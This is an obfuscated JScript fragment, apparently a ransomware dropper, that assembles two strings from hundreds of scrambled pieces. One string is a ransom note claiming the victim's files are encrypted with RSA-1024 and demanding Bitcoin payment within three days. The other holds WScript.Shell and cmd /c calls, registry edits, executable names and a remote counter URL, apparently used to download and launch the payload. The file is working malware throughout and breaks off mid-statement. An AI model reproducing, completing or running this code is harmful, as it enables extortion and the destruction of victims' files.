'2.';\r\nq86 += 'te';\r\nv79 += 'rea';\r\nv79 += 'st';\r\nq86 += 'Te';\r\nv79 += 'ell"';\r\nv79 += '.Fi';\r\nq86 += 'xtF';\r\nv79 += 'en("';\r\nq86 += 'il';\r\nv79 += 'cs+"';\r\nv79 += 'e("';\r\nq86 += 'e(fn';\r\nv79 += ']+';\r\nq86 += '+".t';\r\nv79 += 'en ';\r\nv79 += 'Tex';\r\nq86 += 'xt';\r\nv79 += '\/D';\r\nq86 += '",';\r\nv79 += '+"a';\r\nv79 += 'SZ';\r\nq86 += 'tr';\r\nv79 += 'if(n';\r\nq86 += 'ue)';\r\nv79 += '. S';\r\nq86 += '; ';\r\nv79 += 'Fi';\r\nq86 += 'fp.';\r\nv79 += 'he';\r\nq86 += 'Writ';\r\nv79 += 'xa';\r\nq86 += 'eLi';\r\nv79 += '=20';\r\nv79 += '".ph';\r\nq86 += 'ne';\r\nv79 += '+n, ';\r\nq86 += '("A';\r\nv79 += 'ite';\r\nv79 += 'Writ';\r\nq86 += 'TTE';\r\nv79 += 'p.W';\r\nv79 += '{ fo';\r\nq86 += 'NT';\r\nv79 += 'hp"';\r\nq86 += 'ION';\r\nv79 += 'WScr';\r\nq86 += '!"';\r\nv79 += '\/loc';\r\nq86 += ');';\r\nv79 += 'rson';\r\nq86 += ' f';\r\nv79 += 'pen(';\r\nq86 += 'p.W';\r\nv79 += 'ri';\r\nq86 += 'ri';\r\nv79 += ');';\r\nv79 += '2)';\r\nq86 += 'teLi';\r\nv79 += 'exc';\r\nq86 += 'ne(';\r\nv79 += 'ec';\r\nq86 += '"")';\r\nv79 += 's+';\r\nq86 += '; f';\r\nv79 += ' f';\r\nq86 += 'p.W';\r\nv79 += 'd"+';\r\nq86 += 'rit';\r\nv79 += ']+';\r\nq86 += 'eLi';\r\nv79 += 'q+"';\r\nq86 += 'ne';\r\nv79 += 'fn';\r\nv79 += 'ph';\r\nq86 += '("';\r\nv79 += 'Cre';\r\nq86 += 'All ';\r\nv79 += 'cq+f';\r\nv79 += 'rit';\r\nq86 += 'you';\r\nv79 += 'C% \/';\r\nv79 += '=3';\r\nq86 += 'r do';\r\nv79 += 'g.fr';\r\nq86 += 'cu';\r\nv79 += '.i';\r\nq86 += 'men';\r\nv79 += '} e';\r\nq86 += 'ts, ';\r\nv79 += 'uy';\r\nv79 += 'Fi';\r\nq86 += 'pho';\r\nv79 += 'e:"';\r\nv79 += 'e ';\r\nq86 += 'tos';\r\nv79 += 'ine(';\r\nq86 += ', da';\r\nv79 += 'ea';\r\nq86 += 'tab';\r\nv79 += 'te';\r\nv79 += '   ';\r\nq86 += 'ases';\r\nv79 += 'd="';\r\nv79 += 'eLi';\r\nq86 += ' a';\r\nv79 += '+l';\r\nv79 += '("';\r\nq86 += 'nd o';\r\nv79 += 'cs+';\r\nq86 += 'ther';\r\nv79 += 'je';\r\nv79 += '"%';\r\nq86 += ' imp';\r\nv79 += '   ';\r\nq86 += 'ort';\r\nv79 += 'c.")';\r\nq86 += 'an';\r\nv79 += 'ing ';\r\nq86 += 't pe';\r\nv79 += 'p.W';\r\nq86 += 'rson';\r\nv79 += 'p:';\r\nv79 += 'rt';\r\nq86 += 'al ';\r\nv79 += 'uy';\r\nq86 += 'fi';\r\nv79 += ' rei';\r\nq86 += 'les';\r\nv79 += ');';\r\nq86 += '"); ';\r\nv79 += '); x';\r\nv79 += 'a=';\r\nq86 += 'fp';\r\nv79 += 'buy';\r\nv79 += 'iteL';\r\nq86 += '.Wr';\r\nv79 += ',2';\r\nv79 += 'Tff6CxOofKLv46njM9MdfD_bBw7qRFZ6ffAJEPEXmzdahf7_QaFE8NdPA8MC7WRLiyTxoxCLTP0"';\r\nq86 += 'it';\r\nv79 += 'd+';\r\nq86 += 'eL';\r\nv79 += 'p")';\r\nv79 += 'ppD';\r\nq86 += 'ine(';\r\nv79 += '=3';\r\nv79 += 'lle';\r\nq86 += '"w';\r\nv79 += 'SPE';\r\nv79 += ' \/c';\r\nq86 += 'ere';\r\nv79 += 'fp.W';\r\nq86 += ' en';\r\nv79 += '"+cq';\r\nq86 += 'cryp';\r\nv79 += ';}';\r\nv79 += 'eLi';\r\nq86 += 'ted ';\r\nv79 += '); f';\r\nq86 += 'us';\r\nv79 += 'iru';\r\nq86 += 'ing ';\r\nv79 += '\/\/"';\r\nv79 += 'Cr';\r\nq86 += 'st';\r\nv79 += '};';\r\nv79 += 'Te';\r\nq86 += 'ro';\r\nv79 += 'Wri';\r\nq86 += 'ng';\r\nv79 += 'ws.R';\r\nv79 += 'e(""';\r\nq86 += ' RS';\r\nv79 += 'G_SZ';\r\nv79 += 'xe ';\r\nq86 += 'A-1';\r\nv79 += 'ws.R';\r\nq86 += '024';\r\nv79 += 'fi';\r\nv79 += '"+c';\r\nq86 += ' a';\r\nv79 += '% \/c';\r\nq86 += 'lgor';\r\nv79 += '"); ';\r\nq86 += 'ithm';\r\nv79 += '{xa.';\r\nq86 += ' w';\r\nv79 += 'n+".';\r\nv79 += 'p.';\r\nq86 += 'ith ';\r\nv79 += '};} ';\r\nv79 += 'il';\r\nq86 += 'a u';\r\nv79 += 'r x';\r\nv79 += 'Li';\r\nq86 += 'niqu';\r\nv79 += 'PT.';\r\nq86 += 'e ke';\r\nv79 += 'pe';\r\nq86 += 'y."';\r\nv79 += 've';\r\nq86 += '); ';\r\nv79 += 'dy';\r\nv79 += 'iteL';\r\nq86 += 'fp';\r\nv79 += 'e ';\r\nq86 += '.Wri';\r\nv79 += ' not';\r\nq86 += 'teL';\r\nv79 += '="';\r\nq86 += 'in';\r\nv79 += ' FIL';\r\nv79 += 'ng';\r\nq86 += 'e("';\r\nv79 += 'ne';\r\nq86 += 'To';\r\nv79 += 'a u';\r\nv79 += 'o p';\r\nq86 += ' res';\r\nv79 += 'ypte';\r\nq86 += 'tor';\r\nv79 += 'dn';\r\nq86 += 'e ';\r\nv79 += 'bc="';\r\nv79 += 'tr';\r\nq86 += 'yo';\r\nv79 += ' \/F';\r\nv79 += '.c';\r\nq86 += 'ur ';\r\nv79 += ';n';\r\nq86 += 'fi';\r\nv79 += '+"%A';\r\nv79 += 'a u';\r\nq86 += 'le';\r\nv79 += 'p y';\r\nv79 += 'br';\r\nq86 += 's ';\r\nv79 += '+" ';\r\nv79 += 'an';\r\nq86 += 'you';\r\nv79 += 'p")';\r\nq86 += ' ha';\r\nv79 += 't("M';\r\nv79 += '!"';\r\nq86 += 've';\r\nv79 += ' rei';\r\nq86 += ' t';\r\nv79 += 'G AD';\r\nq86 += 'o p';\r\nv79 += 'fol';\r\nq86 += 'ay';\r\nv79 += 'omC';\r\nv79 += 'a=';\r\nq86 += ' "';\r\nv79 += 'eat';\r\nv79 += 'te';\r\nq86 += '+bc';\r\nv79 += 'lo';\r\nv79 += ' htt';\r\nq86 += '+"';\r\nv79 += 'r xo';\r\nv79 += ' fp';\r\nq86 += ' BTC';\r\nv79 += 'ex';\r\nq86 += ' (b';\r\nv79 += 'h(';\r\nv79 += 'if(n';\r\nq86 += 'itc';\r\nv79 += 'org"';\r\nv79 += 'd="+';\r\nq86 += 'oins';\r\nv79 += '"\/c';\r\nq86 += ').';\r\nv79 += 'nsta';\r\nq86 += '")';\r\nv79 += 'pho';\r\nq86 += '; f';\r\nv79 += '();';\r\nq86 += 'p.';\r\nv79 += 'p"';\r\nv79 += 'e:"';\r\nq86 += 'Wri';\r\nv79 += '("  ';\r\nq86 += 'teL';\r\nv79 += 'cs';\r\nv79 += 'Bi';\r\nq86 += 'ine';\r\nv79 += '();';\r\nv79 += 'cq';\r\nq86 += '("Pl';\r\nv79 += 'eLin';\r\nq86 += 'eas';\r\nv79 += 'Tff6CxOofKLv46njM9MdfD_bBw7qRFZ6ffAJEPEXmzdahf7_QaFE8NdPA8MC7WRLiyTxoxCLTP0"';\r\nq86 += 'e ';\r\nv79 += '   ';\r\nq86 += 'fol';\r\nv79 += 'MSP';\r\nq86 += 'lo';\r\nv79 += 'se';\r\nv79 += '   ';\r\nq86 += 'w ';\r\nv79 += '="';\r\nq86 += 'this';\r\nv79 += 'q+"';\r\nv79 += 'd="+';\r\nq86 += ' ma';\r\nv79 += 'exe"';\r\nv79 += '")';\r\nq86 += 'nua';\r\nv79 += 'e o';\r\nv79 += 'te';\r\nq86 += 'l:';\r\nv79 += 'p.Wr';\r\nq86 += '"); ';\r\nv79 += ' fn';\r\nv79 += 'pand';\r\nq86 += 'fp.W';\r\nv79 += 'd+';\r\nv79 += 'ca';\r\nq86 += 'ri';\r\nv79 += 'c+" ';\r\nv79 += 'C% \/';\r\nq86 += 'te';\r\nv79 += 'll[';\r\nq86 += 'Lin';\r\nv79 += 'd ';\r\nq86 += 'e(';\r\nv79 += 'ine(';\r\nv79 += '"+';\r\nq86 += '"");';\r\nv79 += 'n ';\r\nq86 += ' f';\r\nv79 += '%"';\r\nq86 += 'p.Wr';\r\nv79 += '};';\r\nv79 += '(9';\r\nq86 += 'ite';\r\nv79 += '); f';\r\nv79 += 'al';\r\nq86 += 'Li';\r\nv79 += 'y ';\r\nq86 += 'ne(';\r\nv79 += ' f';\r\nv79 += 'ld=i';\r\nq86 += '"1.';\r\nv79 += ';f';\r\nq86 += ' Cr';\r\nv79 += 'GET"';\r\nq86 += 'eat';\r\nv79 += 'rite';\r\nq86 += 'e ';\r\nv79 += '.Fi';\r\nv79 += 'eLi';\r\nq86 += 'Bit';\r\nv79 += 'ne';\r\nq86 += 'co';\r\nv79 += '\/c ';\r\nv79 += 'else';\r\nq86 += 'in w';\r\nv79 += 'Run(';\r\nv79 += 'if(x';\r\nq86 += 'al';\r\nv79 += ');';\r\nv79 += '"+cq';\r\nq86 += 'let ';\r\nv79 += 'php';\r\nv79 += ' you';\r\nq86 += 'her';\r\nv79 += 'ct"';\r\nq86 += 'e:"';\r\nv79 += ' d';\r\nq86 += ');';\r\nv79 += 'fal';\r\nv79 += 'ad';\r\nq86 += ' fp';\r\nv79 += '. S';\r\nq86 += '.W';\r\nv79 += 'EL ';\r\nq86 += 'rit';\r\nv79 += 'ne(';\r\nq86 += 'eLin';\r\nv79 += 'n+';\r\nq86 += 'e(';\r\nv79 += 'us';\r\nv79 += 'te';\r\nq86 += '""';\r\nv79 += 'p.W';\r\nv79 += ');';\r\nq86 += '); f';\r\nv79 += 'te';\r\nq86 += 'p.W';\r\nv79 += ' \/';\r\nv79 += 'er';\r\nq86 += 'rit';\r\nv79 += 'se);';\r\nv79 += 't("M';\r\nq86 += 'eLi';\r\nv79 += ');';\r\nq86 += 'ne(';\r\nv79 += '); ';\r\nq86 += '"  ';\r\nv79 += 'ec';\r\nq86 += '   ';\r\nv79 += 'cq+';\r\nq86 += ' htt';\r\nv79 += 'll';\r\nv79 += 'tp:\/';\r\nq86 += 'ps:\/';\r\nv79 += 'i<l';\r\nq86 += '\/blo';\r\nv79 += 'Writ';\r\nq86 += 'ckch';\r\nv79 += 'leEx';\r\nv79 += 'ypt';\r\nq86 += 'ain';\r\nv79 += '00)';\r\nv79 += 'xe",';\r\nq86 += '.i';\r\nv79 += 'MSP';\r\nq86 += 'nf';\r\nv79 += 'NT';\r\nq86 += 'o\/wa';\r\nv79 += 'yo';\r\nq86 += 'lle';\r\nv79 += 'en("';\r\nv79 += '",';\r\nq86 += 't\/ne';\r\nv79 += 'ng';\r\nq86 += 'w")';\r\nv79 += '+"D';\r\nv79 += ')+';\r\nq86 += '; f';\r\nv79 += 't(';\r\nv79 += ',0);';\r\nq86 += 'p.';\r\nv79 += 'id="';\r\nv79 += 'p.Wr';\r\nq86 += 'Wri';\r\nv79 += 'SZ ';\r\nq86 += 'te';\r\nv79 += 'engt';\r\nv79 += ',0,0';\r\nq86 += 'Lin';\r\nv79 += ' var';\r\nv79 += '.i';\r\nq86 += 'e(""';\r\nv79 += 't.Cr';\r\nv79 += '."';\r\nq86 += '); f';\r\nv79 += 'te';\r\nq86 += 'p.';\r\nv79 += 'cq';\r\nv79 += 'Scri';\r\nq86 += 'Wri';\r\nv79 += 'fn+';\r\nv79 += 'o.Fi';\r\nq86 += 'teL';\r\nv79 += '"&s';\r\nq86 += 'ine(';\r\nv79 += 'EL ';\r\nv79 += '("A';\r\nq86 += '"2';\r\nv79 += 'Cr';\r\nq86 += '. B';\r\nv79 += 'vi';\r\nv79 += 'nv';\r\nq86 += 'uy';\r\nv79 += '\/c ';\r\nq86 += ' "+b';\r\nv79 += '"+a';\r\nv79 += 'in';\r\nq86 += 'c+" ';\r\nv79 += '="';\r\nv79 += 've';\r\nq86 += 'BT';\r\nv79 += ' ws.';\r\nq86 += 'C w';\r\nv79 += '\/c';\r\nv79 += 's=';\r\nq86 += 'ith ';\r\nv79 += '; f';\r\nv79 += 'ET"';\r\nq86 += 'cash';\r\nv79 += '<=2';\r\nq86 += ', ';\r\nv79 += 'DE';\r\nv79 += ' fp.';\r\nq86 += 'usin';\r\nv79 += 'cq+f';\r\nv79 += 'leEx';\r\nq86 += 'g ';\r\nv79 += 'ls';\r\nq86 += 'sea';\r\nv79 += '++) ';\r\nq86 += 'rch';\r\nv79 += 'C w';\r\nv79 += 'd="1PXyK1CM8Dyr9tV51Ubub5imyvpmvqVmVf';\r\nq86 += ' her';\r\nv79 += 'Tex';\r\nq86 += 'e:")';\r\nv79 += '.fr';\r\nq86 += '; ';\r\nv79 += '"+cq';\r\nv79 += 'om"';\r\nq86 += 'fp';\r\nv79 += 'cq';\r\nv79 += 'f(n';\r\nq86 += '.Wr';\r\nv79 += ' if';\r\nv79 += 'fol';\r\nq86 += 'ite';\r\nv79 += 'ry';\r\nq86 += 'Li';\r\nv79 += ');';\r\nv79 += 'HKCR';\r\nq86 += 'ne';\r\nv79 += 'ate';\r\nv79 += ' (va';\r\nq86 += '("")';\r\nv79 += '"+c';\r\nv79 += '"  ';\r\nq86 += '; ';\r\nv79 += 'm","';\r\nq86 += 'fp.W';\r\nv79 += 'Writ';\r\nq86 += 'ri';\r\nv79 += 'C%';\r\nv79 += '591';\r\nq86 += 'te';\r\nv79 += 'd"+';\r\nv79 += '591';\r\nq86 += 'Line';\r\nv79 += 'ept ';\r\nq86 += '("';\r\nv79 += 'ph';\r\nv79 += 'ther';\r\nq86 += '   ';\r\nv79 += 't("M';\r\nq86 += '   ';\r\nv79 += 'r i=';\r\nv79 += '."';\r\nq86 += 'htt';\r\nv79 += 't ';\r\nq86 += 'ps:\/';\r\nv79 += 'send';\r\nq86 += '\/loc';\r\nv79 += '"+c';\r\nq86 += 'al';\r\nv79 += '.Fi';\r\nv79 += 'xo.';\r\nq86 += 'bitc';\r\nv79 += 'i<l';\r\nq86 += 'oins';\r\nv79 += ' \/';\r\nq86 += '.c';\r\nv79 += '.Cr';\r\nq86 += 'om\/';\r\nv79 += 'p.';\r\nv79 += 'c.")';\r\nq86 += 'buy';\r\nv79 += '); ';\r\nv79 += 'engt';\r\nq86 += '_bit';\r\nv79 += 'f(n';\r\nv79 += 'e(';\r\nq86 += 'co';\r\nv79 += ' i';\r\nq86 += 'ins';\r\nv79 += '"4.';\r\nq86 += '")';\r\nv79 += 'des';\r\nq86 += '; ';\r\nv79 += 'ypte';\r\nv79 += 'TC t';\r\nq86 += 'fp.';\r\nv79 += 'try{';\r\nv79 += 'tab';\r\nq86 += 'Writ';\r\nv79 += 'nua';\r\nq86 += 'eLin';\r\nv79 += '("%C';\r\nv79 += '; ';\r\nq86 += 'e("';\r\nv79 += 'el';\r\nv79 += '")';\r\nq86 += '");';\r\nv79 += 'CO';\r\nq86 += ' fp';\r\nv79 += '5. ';\r\nq86 += '.Wr';\r\nv79 += 'e i';\r\nq86 += 'ite';\r\nv79 += '.F';\r\nv79 += 'te';\r\nq86 += 'Line';\r\nv79 += ',"ww';\r\nv79 += 'ore ';\r\nq86 += '("3';\r\nv79 += 'id+"';\r\nv79 += 'All ';\r\nq86 += '. S';\r\nv79 += '"+a';\r\nv79 += 'ne';\r\nq86 += 'en';\r\nv79 += 'lgor';\r\nv79 += '0;i<';\r\nq86 += 'd "';\r\nv79 += '0)';\r\nv79 += 'tp';\r\nq86 += '+bc';\r\nv79 += 'cs';\r\nv79 += 'g ';\r\nq86 += '+" B';\r\nv79 += '("';\r\nv79 += '\/c';\r\nq86 += 'TC t';\r\nv79 += 'Wri';\r\nv79 += 'REG_';\r\nq86 += 'o t';\r\nv79 += '+".t';\r\nv79 += 'Tff6CxOofKLv46njM9MdfD_bBw7qRFZ6ffAJEPEXmzdahf7_QaFE8NdPA8MC7WRLiyTxoxCLTP0"';\r\nq86 += 'his ';\r\nv79 += '+c';\r\nq86 += 'Bi';\r\nv79 += 'co';\r\nq86 += 'tcoi';\r\nv79 += 'ne';\r\nv79 += 'h(e';\r\nq86 += 'n ad';\r\nv79 += ' x';\r\nq86 += 'dres';\r\nv79 += 'he';\r\nv79 += 'cq';\r\nq86 += 's:';\r\nv79 += 'e("';\r\nq86 += '");';\r\nv79 += 'le';\r\nq86 += ' f';\r\nv79 += '+l';\r\nv79 += '="';\r\nq86 += 'p.W';\r\nv79 += '")';\r\nv79 += '+cq';\r\nq86 += 'rite';\r\nv79 += 'il';\r\nq86 += 'Li';\r\nv79 += 'us';\r\nq86 += 'ne("';\r\nv79 += 'A-1';\r\nv79 += '   ';\r\nq86 += '"); ';\r\nv79 += ' w';\r\nv79 += 'ar ';\r\nq86 += 'fp.';\r\nv79 += ',0,0';\r\nv79 += 'tp:\/';\r\nq86 += 'Wri';\r\nv79 += '"1.';\r\nq86 += 'teLi';\r\nv79 += 'ls';\r\nq86 += 'ne(';\r\nv79 += '+f';\r\nv79 += 'ins';\r\nq86 += '"   ';\r\nv79 += 'fn';\r\nv79 += 'at';\r\nq86 += '   ';\r\nv79 += '; fp';\r\nq86 += '"+a';\r\nv79 += '+"S';\r\nv79 += 'ere';\r\nq86 += 'd)';\r\nv79 += ' };';\r\nv79 += 'fi';\r\nq86 += '; ';\r\nv79 += 'TP';\r\nv79 += 'te';\r\nq86 += 'fp';\r\nv79 += 'var ';\r\nq86 += '.Wri';\r\nv79 += ' fp.';\r\nv79 += 'ter ';\r\nq86 += 'te';\r\nv79 += '=WS';\r\nv79 += 'C w';\r\nq86 += 'Li';\r\nv79 += '"ph';\r\nv79 += '+"';\r\nq86 += 'ne("';\r\nv79 += '"+c';\r\nq86 += '");';\r\nv79 += 'var ';\r\nv79 += 'GET"';\r\nq86 += ' fp.';\r\nv79 += 'Writ';\r\nv79 += '"+c';\r\nq86 += 'Writ';\r\nv79 += 'C% \/';\r\nv79 += 'CRY';\r\nq86 += 'eL';\r\nv79 += 'er';\r\nv79 += '+pd';\r\nq86 += 'ine(';\r\nv79 += '  ';\r\nq86 += '"4.';\r\nv79 += 'ine(';\r\nq86 += ' Op';\r\nv79 += '0)';\r\nq86 += 'en ';\r\nv79 += 's ';\r\nv79 += 'cq';\r\nq86 += 'on';\r\nv79 += 'nf';\r\nv79 += 'Wri';\r\nq86 += 'e o';\r\nv79 += '.fr';\r\nq86 += 'f t';\r\nv79 += 'Bi';\r\nv79 += 'te';\r\nq86 += 'he';\r\nv79 += 'e o';\r\nv79 += '. B';\r\nq86 += ' fo';\r\nv79 += 'oins';\r\nq86 += 'll';\r\nv79 += '!"';\r\nv79 += '+n+';\r\nq86 += 'ow';\r\nv79 += 'eLi';\r\nv79 += '"+c';\r\nq86 += 'in';\r\nv79 += 's=';\r\nq86 += 'g li';\r\nv79 += '; };';\r\nq86 += 'nks ';\r\nv79 += 'p.W';\r\nv79 += '"   ';\r\nq86 += 'in';\r\nv79 += 'st';\r\nv79 += 'a.o';\r\nq86 += ' you';\r\nv79 += 'r ';\r\nq86 += 'r ';\r\nv79 += 'le(';\r\nv79 += 'a.s';\r\nq86 += 'br';\r\nv79 += 'nf';\r\nv79 += 'RE';\r\nq86 += 'ows';\r\nv79 += 'Te';\r\nq86 += 'er';\r\nv79 += ' htt';\r\nq86 += ' to';\r\nv79 += '{fp.';\r\nv79 += 'u ca';\r\nq86 += ' d';\r\nv79 += '+ll[';\r\nv79 += 'ea';\r\nq86 += 'own';\r\nv79 += 'ra';\r\nq86 += 'lo';\r\nv79 += 'Sc';\r\nq86 += 'ad';\r\nv79 += 'or';\r\nv79 += 'ar c';\r\nq86 += ' d';\r\nv79 += 'o.';\r\nv79 += '%"';\r\nq86 += 'ec';\r\nv79 += 'te';\r\nv79 += '=0;';\r\nq86 += 'ry';\r\nv79 += 'fn';\r\nv79 += 'o\/wa';\r\nq86 += 'pt';\r\nv79 += 'else';\r\nq86 += 'or';\r\nv79 += 'ose(';\r\nv79 += 'OFTW';\r\nq86 += ':")';\r\nv79 += ' on';\r\nq86 += '; f';\r\nv79 += '("  ';\r\nv79 += 'aria';\r\nq86 += 'p.Wr';\r\nv79 += 'ur';\r\nq86 += 'ite';\r\nv79 += 'cq+"';\r\nq86 += 'Lin';\r\nv79 += 'a u';\r\nv79 += 'a.si';\r\nq86 += 'e("';\r\nv79 += 'fp.';\r\nv79 += 's+';\r\nq86 += '")';\r\nv79 += 'te';\r\nq86 += '; f';\r\nv79 += 'Tff6CxOofKLv46njM9MdfD_bBw7qRFZ6ffAJEPEXmzdahf7_QaFE8NdPA8MC7WRLiyTxoxCLTP0"';\r\nq86 += 'or';\r\nv79 += 'nd o';\r\nv79 += 'ron';\r\nq86 += ' (va';\r\nv79 += 'fp.';\r\nq86 += 'r i=';\r\nv79 += 'Wri';\r\nq86 += '0;i<';\r\nv79 += 's"+c';\r\nv79 += 'us';\r\nq86 += 'll.l';\r\nv79 += '){x';\r\nq86 += 'engt';\r\nv79 += '; ';\r\nq86 += 'h;';\r\nv79 += '"+';\r\nv79 += ' \/c';\r\nq86 += 'i++)';\r\nv79 += 'g ';\r\nv79 += 'ea';\r\nq86 += ' { f';\r\nv79 += '+c';\r\nv79 += 'Ver';\r\nq86 += 'p.W';\r\nv79 += 'c "+';\r\nv79 += 'C% ';\r\nq86 += 'ri';\r\nv79 += 'eLi';\r\nq86 += 'teL';\r\nv79 += '(xo';\r\nv79 += '".t';\r\nq86 += 'ine';\r\nv79 += 'epad';\r\nv79 += 'ur ';\r\nq86 += '("';\r\nv79 += ') {';\r\nq86 += '  ';\r\nv79 += 'o.Cr';\r\nv79 += 'ne("';\r\nq86 += '  ';\r\nv79 += '"%Us';\r\nq86 += '  ';\r\nv79 += '=20';\r\nq86 += 'htt';\r\nv79 += 'cq+f';\r\nv79 += 'cq';\r\nq86 += 'p:';\r\nv79 += 'ct"';\r\nq86 += '\/\/"';\r\nv79 += 'o.se';\r\nq86 += '+l';\r\nv79 += '1,';\r\nv79 += 'Obj';\r\nq86 += 'l[i';\r\nv79 += '=ws';\r\nq86 += ']+"\/';\r\nv79 += 'teO';\r\nq86 += 'coun';\r\nv79 += '+cs+';\r\nq86 += 'ter';\r\nv79 += 's+';\r\nv79 += '+c';\r\nq86 += '\/?a';\r\nv79 += ');';\r\nv79 += 'lgor';\r\nq86 += '="';\r\nv79 += 'be';\r\nv79 += 'ne';\r\nq86 += '+ad)';\r\nv79 += 'sta';\r\nq86 += '; ';\r\nv79 += 'A-1';\r\nv79 += 'usel';\r\nq86 += '}; ';\r\nv79 += '"C';\r\nv79 += ' (va';\r\nq86 += 'fp.';\r\nv79 += 'te';\r\nv79 += 'eL';\r\nq86 += 'Wri';\r\nv79 += 'exc';\r\nv79 += 'ar ';\r\nq86 += 'te';\r\nv79 += 'le(f';\r\nv79 += '); v';\r\nq86 += 'Li';\r\nv79 += 'p.W';\r\nq86 += 'ne("';\r\nv79 += 'yo';\r\nv79 += 'nv';\r\nq86 += '"); ';\r\nv79 += '+fn';\r\nq86 += 'fp.W';\r\nv79 += '"+c';\r\nv79 += ' fal';\r\nq86 += 'ri';\r\nv79 += '591';\r\nq86 += 'teL';\r\nv79 += 'CRY';\r\nv79 += 'ar ';\r\nq86 += 'in';\r\nv79 += '+ad+';\r\nv79 += '.op';\r\nq86 += 'e("';\r\nv79 += 'tor';\r\nq86 += '5. ';\r\nv79 += 'this';\r\nv79 += 'bo';\r\nq86 += 'Run ';\r\nv79 += ' \/';\r\nv79 += '"   ';\r\nq86 += 'decr';\r\nv79 += '+l';\r\nv79 += 'Writ';\r\nq86 += 'ypt';\r\nv79 += 't ';\r\nq86 += 'or ';\r\nv79 += 't(';\r\nq86 += 'to';\r\nv79 += '.Exp';\r\nq86 += ' r';\r\nv79 += '+c';\r\nq86 += 'est';\r\nv79 += '".ph';\r\nq86 += 'ore ';\r\nv79 += 'fp=f';\r\nv79 += 'sio';\r\nq86 += 'you';\r\nv79 += 'or';\r\nv79 += 'ng';\r\nq86 += 'r f';\r\nv79 += 'cq';\r\nq86 += 'iles';\r\nv79 += ' (va';\r\nv79 += 'en("';\r\nq86 += '."';\r\nv79 += '000;';\r\nq86 += '); f';\r\nv79 += ' va';\r\nv79 += '+id';\r\nq86 += 'p.W';\r\nv79 += '"+';\r\nv79 += 'dE';\r\nq86 += 'rit';\r\nv79 += 'men';\r\nv79 += ' (b';\r\nq86 += 'eLi';\r\nv79 += 'i<l';\r\nq86 += 'ne("';\r\nv79 += ' cop';\r\nq86 += '")';\r\nv79 += ' \/';\r\nv79 += 'n+".';\r\nq86 += '; f';\r\nv79 += 'nsta';\r\nv79 += '+"';\r\nq86 += 'p.Wr';\r\nv79 += ') ';\r\nq86 += 'iteL';\r\nv79 += 'ile(';\r\nv79 += '  ';\r\nq86 += 'in';\r\nv79 += '%COM';\r\nv79 += 'it';\r\nq86 += 'e("P';\r\nv79 += 'PT.';\r\nv79 += 'n("%';\r\nq86 += 'LEAS';\r\nv79 += 'fp=f';\r\nv79 += 's+';\r\nq86 += 'E RE';\r\nv79 += '. B';\r\nv79 += ']+';\r\nq86 += 'MEM';\r\nv79 += 'else';\r\nq86 += 'BER:';\r\nv79 += '%COM';\r\nq86 += '"); ';\r\nv79 += 'cq+';\r\nv79 += '   ';\r\nq86 += 'fp';\r\nv79 += 'cq';\r\nv79 += 'en';\r\nq86 += '.Wr';\r\nv79 += 'om\/';\r\nv79 += 'Cre';\r\nq86 += 'iteL';\r\nv79 += 'an';\r\nq86 += 'ine';\r\nv79 += 'it';\r\nq86 += '("")';\r\nv79 += 'fp.';\r\nq86 += '; fp';\r\nv79 += 'i++)';\r\nv79 += 'ne(';\r\nq86 += '.Wri';\r\nv79 += '+fn';\r\nv79 += 'teLi';\r\nq86 += 'teL';\r\nv79 += 'C% \/';\r\nv79 += 'C w';\r\nq86 += 'ine(';\r\nv79 += 'ttp:';\r\nq86 += '"   ';\r\nv79 += 'ION';\r\nq86 += '   -';\r\nv79 += '\/\/"';\r\nq86 += ' If';\r\nv79 += 'fp';\r\nv79 += 'le';\r\nq86 += ' y';\r\nv79 += 'en("';\r\nv79 += 'cs+"';\r\nq86 += 'ou d';\r\nv79 += 'uw';\r\nv79 += '2.';\r\nq86 += 'o no';\r\nv79 += 'Line';\r\nv79 += '{ ';\r\nq86 += 't pa';\r\nv79 += 'e("';\r\nv79 += 'if(n';\r\nq86 += 'y ';\r\nv79 += 'at';\r\nq86 += 'in 3';\r\nv79 += 'ne("';\r\nq86 += ' da';\r\nv79 += '"+c';\r\nq86 += 'ys';\r\nv79 += '; ';\r\nv79 += 'p.Wr';\r\nq86 += ' YOU';\r\nv79 += '    ';\r\nv79 += '; v';\r\nq86 += ' LO';\r\nv79 += 's+';\r\nv79 += 'you';\r\nq86 += 'OS';\r\nv79 += 'e%';\r\nv79 += 'ar ';\r\nq86 += 'E AL';\r\nv79 += 'eLin';\r\nv79 += '"+';\r\nq86 += 'L Y';\r\nv79 += 'a.si';\r\nv79 += 'ose(';\r\nq86 += 'OUR';\r\nv79 += '=1; ';\r\nv79 += 'ter';\r\nq86 += ' FIL';\r\nv79 += 'an';\r\nv79 += ' \/';\r\nq86 += 'ES."';\r\nv79 += '("';\r\nq86 += '); f';\r\nv79 += 'u m';\r\nv79 += '; f';\r\nq86 += 'p.Wr';\r\nv79 += 'cq+f';\r\nq86 += 'it';\r\nv79 += '"+';\r\nv79 += ');';\r\nq86 += 'eLin';\r\nv79 += 'PE';\r\nq86 += 'e("';\r\nv79 += 'let ';\r\nv79 += 'ttp:';\r\nq86 += '   ';\r\nv79 += '.tx';\r\nv79 += 'ch.';\r\nq86 += '   ';\r\nv79 += 'ith ';\r\nv79 += 'tr';\r\nq86 += '- No';\r\nv79 += 's+"D';\r\nq86 += 'bo';\r\nv79 += ' t';\r\nv79 += 'ri';\r\nq86 += 'dy ';\r\nv79 += ',t';\r\nv79 += '+n+';\r\nq86 += 'can';\r\nv79 += 'lch';\r\nq86 += ' hel';\r\nv79 += 'sk';\r\nv79 += 'm.c';\r\nq86 += 'p y';\r\nv79 += 'ld=i';\r\nq86 += 'ou ';\r\nv79 += 'fn';\r\nq86 += 'exc';\r\nv79 += 'E RE';\r\nq86 += 'ept ';\r\nv79 += '; ';\r\nv79 += '+n+';\r\nq86 += 'us';\r\nv79 += '; ';\r\nv79 += 'xo.o';\r\nq86 += '."';\r\nv79 += 'PT.';\r\nv79 += 'MEM';\r\nq86 += '); f';\r\nv79 += 'rea';\r\nq86 += 'p.Wr';\r\nv79 += ',2)';\r\nv79 += '\/loc';\r\nq86 += 'iteL';\r\nv79 += 'r(v';\r\nv79 += '; ';\r\nq86 += 'in';\r\nv79 += '\/c';\r\nv79 += '+"S';\r\nq86 += 'e(" ';\r\nv79 += 'epad';\r\nv79 += ',0,0';\r\nq86 += '    ';\r\nv79 += 'kutu';\r\nv79 += 'ws.R';\r\nq86 += ' - ';\r\nv79 += 'C% \/';\r\nv79 += 'yp';\r\nq86 += 'It`';\r\nv79 += 'his ';\r\nv79 += 'a.s';\r\nq86 += 's ';\r\nv79 += 'uw';\r\nv79 += 